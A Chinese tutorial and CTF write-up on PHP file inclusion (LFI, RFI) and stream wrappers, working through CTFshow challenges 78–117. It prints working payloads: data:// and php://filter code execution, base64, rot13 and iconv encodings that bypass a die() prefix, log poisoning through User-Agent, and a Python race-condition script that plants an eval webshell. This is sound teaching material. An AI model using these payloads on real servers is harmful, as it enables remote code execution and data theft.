WEB攻防-通用漏洞_文件包含_LFI_RFI_伪协议编码算法_代码审计

目录

一、什么是文件包含

二、文件包含漏洞原理

三、本地文件包含(LFI)

四、远程包含(RFI)

五:伪协议

5.1  伪协议的本质

前置/后置路径拼接问题

1. 前置路径拼接:include('x/'.$file);

2. 后缀拼接:include($file . 'php');

5.2  常见的伪协议及语言支持

 六、文件包含攻击思路

七、第三方简单测试网站

八、文件包含CTFSHOW案例

8.1  web入门78关

 8.2  web入门79关

8.3  web入门80关

​编辑

8.4  web入门81关

8.5   web入门82-86 关(条件竞争,CTF-show凌晨11点半后才开放,后续有空补充把)

8.6  web入门87关 

8.6.1 base64编码绕过

8.6.2 rot13 编码绕过 

8.7  web入门88关 

88.  web入门116关(杂项)

8.9  web入门117关


一、什么是文件包含

文件包含是软件开发的一种代码复用的常见手段,通过包含某个代码段文件,来引用其内部函数。
比如,实现过滤功能,每个需要过滤的地方,都进行一次过滤的编写;
这时候可以通过把过滤代码独立写在一个文件,然后每个需要过滤的地方,只需进行一次文件包含调用过滤函数就可以了;

PHP文件包含函数:include、require、include_once、require_once

include在包含过程如果出现错误,会跑出警告,但继续执行

require在出现错误,则直接报错并退出程序

JAVA文件包含函数:java.io.File、java.io.FileReader等

ASP.NET文件包含函数:System.IO.FileStream、System.IO.StreamReader等

二、文件包含漏洞原理

简单来说,在文件包含过程中,如果文件能进行控制,就可能产生文件包含漏洞。漏洞成因是因为代码过滤和环境配置开关决定的。例如,一个图片展示功能,根据用户传入的参数来包含不同的图片文件,如果用户输入的参数不是预期的图片文件名,而是一个恶意构造的路径,就可能导致文件包含漏洞。

黑盒分析中,常见url参数有path、dir、file、pag、page、archive、p、eng等相关字眼

三、本地文件包含(LFI)

从字面意思不难看出这两个词的含义,包含本地服务器上的文件,无特殊配置要求,主要是在处理用户输入的文件路径时,没有对其进行严格的验证和过滤,允许用户指定本地服务器上的任意文件路径,从而导致可以包含服务器上的其他本地文件。

如攻击者可以通过构造特殊的文件路径,如../../etc/passwd(在 Linux 系统中)来读取系统的敏感文件,获取用户信息、数据库配置等。

如果包含的文件是可执行的脚本文件,且服务器配置允许执行,攻击者可以上传包含恶意代码的文件到服务器,然后通过本地文件包含漏洞来执行该恶意代码。

危害程度:可读取敏感文件、执行本地恶意脚本,危害相对局限于本地服务器

四、远程包含(RFI)

服务器配置允许包含远程服务器上的文件,如PHP 配置中allow_url_fopenallow_url_include选项被开启,允许从远程 URL 打开文件和包含远程文件。并且程序在处理用户输入的文件路径时,没有对输入进行严格的验证和过滤,攻击者可以指定一个远程服务器上的恶意文件路径,使服务器包含并执行该远程文件。

如攻击者在自己控制的服务器上放置包含恶意代码的文件,然后通过构造 URL 让目标服务器包含该远程文件,从而在目标服务器上执行恶意代码,如获取服务器权限、篡改数据等。

危害程度:可直接执行远程恶意代码,危害范围更广,可能导致服务器被完全控制

五:伪协议

5.1  伪协议的本质

伪协议(Pseudo-Protocols)是 PHP 等语言提供的特殊协议,允许通过流(Stream)的方式访问输入/输出资源。常见的伪协议包括:

  • php://filter:用于读取文件内容并进行编码(如 Base64)。

  • php://input:直接访问 HTTP 请求的原始输入数据。

  • data://:将数据内联(Inline)作为文件内容处理。

  • phar://:访问 PHAR 归档中的文件(可能触发反序列化漏洞)。

前置/后置路径拼接问题

即include('x/'.$file);  或者 include($file.'php') 

1. 前置路径拼接:include('x/'.$file);
include('x/' . $_GET['file']);  

Payload构造

?file=data://text/plain,<?php system('ls');?>  

实际包含路径

x/data://text/plain,<?php system('ls');?>  

结果

  • 伪协议失效:PHP会将 x/data://text/plain... 视为文件路径(而非协议流),尝试包含 x/ 目录下的文件 data://text/plain...,由于文件不存在,包含失败。

  • 关键原因:伪协议(如 data://php://)需作为完整URI使用,前置路径(如 x/)破坏了协议格式。

2. 后缀拼接:include($file . 'php');
include($_GET['file'] . 'php');  

Payload构造

?file=data://text/plain,<?php system('ls');?>  

实际包含路径

data://text/plain,<?php system('ls');?>php  

结果

  • 代码执行成功:PHP会解析 data:// 协议中的数据流 <?php system('ls');?>php

  • 执行逻辑

    1. <?php system('ls');?> 被解析为PHP代码并执行。

    2. 闭合标签 ?> 后的 php 被视为普通文本输出到页面。

  • 关键原因data:// 协议允许任意内容注入,PHP引擎会解析到第一个 ?> 为止,后续内容作为普通文本输出。

5.2  常见的伪协议及语言支持

协议 PHP Java .NET (C#) Go Perl cURL 备注
php:// PHP 特有协议,其他语言原生不支持。
data:// - PHP 默认支持。
- Java/.NET/Go/Perl 需手动解析或依赖第三方库。
- cURL 支持 data: URI(如 curl data:text/plain,Hello)。
phar:// PHP 特有协议(处理 PHAR 归档文件)。
file:// 通用本地文件协议,所有语言均支持。
http:// 需网络权限,PHP 需开启 allow_url_fopen
https:// 同上,且需 SSL/TLS 支持。
ftp:// PHP 需开启 allow_url_fopen;Java/.NET 需额外库支持完整功能。
zip:// - PHP 原生支持。
- Java/.NET/Go/Perl 需使用压缩库(如 java.util.zip)。
- cURL 不支持直接解析 ZIP 归档。
s3:// 所有语言均需依赖 AWS SDK 或第三方库(如 PHP 的 aws/aws-sdk-php)。

 六、文件包含攻击思路

1.配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,图片代码被触发;(有上传文件的地方,上传有后门的文件)

2.配合日志文件进行getshell,日志会记录访问UA信息,修改UA信息为后门代码,包含即执行后门代码;(日志文件通过UA信息植入后门代码)

3.配合会话文件进行getshell;

4.支持伪协议利用

七、第三方简单测试网站

测试URL:http://testphp.vulnweb.com/showimage.php?file=showimage.php&size=160

先演示,直接打开

访问利用burp抓包,这是返回了当前页面showimage.php的代码

而一般网站首页命名是index,我们尝试包含一下,让他返回的就是index的代码

从上图返回index代码中看到有一个数据库连接文件database_connect.php,尝试包含他 

可以看到返回了数据库连接的源码,这就是最基础的文件包含漏洞,因为人家的目的只是简单演示漏洞,其他东西是做了过滤和配置的,所以不深究。

而在这个简单演示中,file参数存在文件包含漏洞,他接收用户传入的文件名用于返回数据,并允许用户包含其他的文件

八、文件包含CTFSHOW案例

参考文章:

https://segmentfault.com/a/1190000018991087

Ctfshow Web入门 - 文件包含总结 - ch0bits - 博客园

php常见伪协议
1. php://filter       主要用于读取源码
2. php://input      经常使用file_get_contents获取php://input内容
3. data://              执行命令
4. file://                访问本地文件系统

解题方法不唯一,可以根据自己思路组合伪协议或其他方法 

8.1  web入门78关

从题目代码上看,这里使用了include文件包含 ,并且从GET获取file参数,没有任何过滤,参数可控,下面直接抓包构造,使用伪协议data://text/plain查看他的目录文件

payload:?file=data://text/plain,<?php system('ls')?>

 

可以看到flag文件在当今目录,使用伪协议去读取该文件

payload:?file=data://text/plain,<?php system('tac flag.php')?>

 8.2  web入门79关

和78关差不多,但是将php关键字过滤成???

绕过方法很简单,同样使用data://伪协议,但是使用base64对恶意代码进行加密

payload构造:data://text/plain;base64,加密后的恶意代码

使用base64加解密payload需要现将<?php system('tac flag.php')?>加密为base64

得到payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs=

8.3  web入门80关

这关把php,data过滤了,所以伪协议php://和data://就不能使用了

是file,zip等协议是加绝对路径的,也用不了

尝试使用http让他远程包含,我在我自己的服务上创建了一个1.txt并写一个phpinfo的代码来验证是否能远程包含

可以看到是运行文件包含的 

在1.php中构造恶意代码让他包含

可以看到flag文件fl0g.php 

继续修改1.php来获取flag

拿到flag 

8.4  web入门81关

把冒号也给过滤了,其实就是针对伪协议

回顾往期文件上传中利用日志文件绕过,从User-Agent写入恶意代码,然后包含日志文件,通过抓包的响应里可以看到是nginx

Linux的NGINX日志默认路径:/var/log/nginx/access.log

尝试包含日志文件是可以的

通过抓包,写入恶意代码再去包含

读取fl0g.php ,注意这里需要发两次包,一次是写入恶意代码,第二次是包含上一次写入了读取flag恶意代码的日志文件,第二次直接包含日志文件就可以

8.5   web入门82-86 关(条件竞争,CTF-show凌晨11点半后才开放,后续有空补充把)

参考文章:利用session.upload_progress进行文件包含-CSDN博客

##前置知识##

PHP_SESSION_UPLOAD_PROGRESS 机制

在 PHP 中,当进行文件上传时,如果在表单中设置了一个特定的 input 字段(默认名为 PHP_SESSION_UPLOAD_PROGRESS),PHP 会在会话(session)中记录文件上传的进度信息。这些信息存储在服务器端的临时文件中,文件名通常遵循 /tmp/sess_<session_id> 的格式。

而通过PHPSESSID可以控制命名,如Cookie: PHPSESSID=ctf,则文件名为sess_ctf

session.upload_progress.cleanup 机制

session.upload_progress.cleanup 是 PHP 中控制上传进度信息清理行为的一个配置项。当它开启(默认值为 On)时,一旦 PHP 读取完所有的 POST 数据,就会自动清除与该上传相关的进度信息,也就是会删除存储在会话文件中的上传进度数据。

通过下面代码可以在本地查看效果,当上传文件会产生一个sess_xxx格式的临时文件 

<!DOCTYPE html>
<html>
<body>
<form action="http://目标地址" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>" />
  <input type="file" name="file" />
  <input type="submit" value="submit" />
</form>
</body>
</html>

 由于session.upload_progress.cleanup 机制,所以要利用条件竞争,在删除之前写入新的文件

使用burp的思路:

1.访问上面html抓包,然后burp爆破一直发包(value可以使用<?php system('cat *')?>让他直接读取所以文件内容)

2.访问工具目标抓包,然后文件包含sess_xxx,知道成功包含并被执行,就会创建一个shell.php,后续只有包含这个shell.php就可以执行代码了

或者使用python自动化脚本:

import io
import sys
import requests
import threading

sessid = 'Qftm'

def POST(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
            files={"file":('q.txt', f)},
            cookies={'PHPSESSID':sessid}
        )

def READ(session):
    while True:
        response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
        if 'flag' not in response.text:
            print('[+++]retry')
        else:
            print(response.text)
            sys.exit(0)


with requests.session() as session:
    t1 = threading.Thread(target=POST, args=(session, ))
    t1.daemon = True
    t1.start()

    READ(session)

8.6  web入门87关 

 

8.6.1 base64编码绕过

从代码看两个重要参数file、content

这道题关键代码主要是看file_put_contents,可以看到做了一个文件名url解码操作,但是写入的内容是die+$content,如果写进文件并被执行,那不就是输出 “大佬别秀了” 就停止执行。哪还有后面什么事,content写什么都没有用呀。

file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

 所以重点是绕过die,那要怎么才能绕过呢,编码解码,在绕过die之前还要解决一个问题,那就是绕过过滤的php、data等问题

其实题目是给了我们提示的,url编码,要注意在file_put_contents中也进行了一次解码,浏览器本身就会执行一次解码,所以要进行2次URL编码,一次用于浏览器解码,一次用于函数解码最终还原file

再次回到绕过die的问题,我们都知道解释器是通过标签关键字来识别代码解释的,那我们将死亡代码解码成乱码,使得php引擎无法识别。

像这样werw <?php  phphinfo();?>,并不会影响后面php标签的代码执行

可以看到<?php die('大佬别秀了');?>是和content字符串连接组合,也就是说最后会被一起编码或者解码。明白这一点很重要。这里用到php://filterl来解题,我们把content的恶意代码进行base64编码,然后php://filter/convert.base64-decode/resource=1.php解码并指定资源为1.php。也就符合我们上面说的

首先我们把恶意代码编码得到 PD89IHN5c3RlbSgnbHMnKTs/Pg==

##了解##

Base64 编码以 3 字节(24 位)为一组进行处理,每组会被编码成 4 个 Base64 字符。若原始数据字节数不是 3 的整数倍,需要用 = 进行填充:

 
  • 若剩余 1 个字节(8 位),编码结果后补两个 =
  • 若剩余 2 个字节(16 位),编码结果后补一个 =

这段字符会与<?php die('大佬别秀了');?>拼接并被filter一起解码,但是Base64 编码字符集(A - Za - z0 - 9+/=),也就是说只有phpdie参与解码,但base64是4个一组的,所以要补2位Base64 编码字符,最后“aхb{锞钧锞钧鏈<?= system('ls');?>”被写进file

解题步骤:

1.对php://filter/convert.base64-decode/resource=1.php进行两次url加密

二次编码得到

%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30

 

2.访问时post给参数content传入base64加密后的恶意代码,并加上两个补位得到aaPD89IHN5c3RlbSgnbHMnKTs/Pg==

发送请求

 

3.访问写入的1.php

重复1、2步骤,写入<?= system('tac fl0g.php')?>

PD89IHN5c3RlbSgndGFjIGZsMGcucGhwJyk/Pg==

8.6.2 rot13 编码绕过 

原理思路和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;

rot编码工具:ROT13加密/解密 - ROT13编码/解码—LZL在线工具

进行两次URL编码:file=php://filter/write=string.rot13/resource=hello2.php

concent=<?cuc cucvasb();?>

死亡代码<?php die('大佬别秀了');?>已经被解码为<?cuc qvr('大佬别秀了');?>

rot工具这部分是贴的其他博主的,因为我已经关闭了,他说到了一个问题:如果服务器开启了可以使用短标签那么服务器就会解析该短标签了, 我们的payload就不会被执行了,因为解释器不认的这些代码报错了,  就不能使用这种方法了 因为该解码方式不会解码<?等符号 并且会原封不动的写入到文件中

我这里说一下,可能有些同学学的php版本是5.4之后的,所看到的短标签是<?= ?>,但旧版本是<??>,同时新版也可以手动通过php.ini的short_open_tag 配置项开启支持。同时<? 也是 XML 文档中的起始标签标志。我认为的话这类可能性应该不大。

8.7  web入门88关 

这题过滤了很多符号和php。但是没有过滤冒号,斜杆,分号,逗号和其他伪协议,这里用data做,但是恶意代码要加密,因为过滤了括号那些

着重看过滤的+和=,这两个是base64编码字符集,base64编码也经常以这两个字符结尾,但是在后面用1混淆就可以,得到PD89IHN5c3RlbSgndGFjIGZsMGcucGhwJyk/PjEx

直接用8.2的方法就行?file=data://text/plain;base64, 

构造payload:?file=data://text/plain;base64, PD89IHN5c3RlbSgndGFjIGZsMGcucGhwJyk/PjEx

因为类似,这里直接获取flag了,就不弄ls查目录

88.  web入门116关(杂项)

进去是一个视频,下载视频 使用010打开 搜索各种文件的标头标识 发现 存在PNG文件

89 50 4E 47 0D 0A 1A 0A 

PNG图片以IEND结尾 复制粘贴到新建十六进制文件 另存1.PNG

打开图片后

源码文件的意思就是读取一个文件 输出到浏览器中 ,并且过滤完整

直接读取flag.php

因为不能看源码,去network看下包返回了什么,结果看到返回了一段base64的编码,额....解码得到了flag

 

8.9  web入门117关

和87题相似,绕过die,但是过滤了base64和rot13,但是可以使用其他过滤器

##前置知识##

convert.iconv 是 PHP 中 php://filter 伪协议所支持的一个过滤器,主要用于字符编码的转换,如 UTF - 8、GBK、ISO - 8859 - 1 等。当需要在不同编码之间进行转换时,convert.iconv 过滤器就可以发挥作用。它借助 PHP 的 iconv 函数来实现字符编码的转换,能确保数据在不同编码环境下正确显示和处理。

基本语法:php://filter/convert.iconv.<from_encoding>.<to_encoding>/resource=<filename>

  • <from_encoding>:表示原始数据的字符编码,例如 UTF - 8GBK 等。
  • <to_encoding>:表示要转换到的目标字符编码。
  • <filename>:表示要进行编码转换的文件路径或资源。

示例代码

假设你有一个以 GBK 编码保存的文本文件 gbk_file.txt,现在需要将其内容转换为 UTF - 8 编码并输出,可使用以下代码:

<?php
// 使用 convert.iconv 过滤器将 GBK 编码的文件内容转换为 UTF - 8 编码
$content = file_get_contents('php://filter/convert.iconv.GBK.UTF-8/resource=gbk_file.txt');
echo $content;
?>

使用脚步生成要content传入的恶意代码 

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

浏览器直接看不了的,需要查看页面源码 

构造payload: php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

content: ?<hp pvela$(P_SO[T]a;)>?

 访问a.php执行代码

获取flag

参考文章:

文章 - file_put_content和死亡·杂糅代码之缘 - 先知社区

ctfshow-文件包含_ctfshow 文件包含-CSDN博客

ctfshow-文件包含_ctfshow 文件包含-CSDN博客

ctf_show-文件包含-78-117 - Aninock - 博客园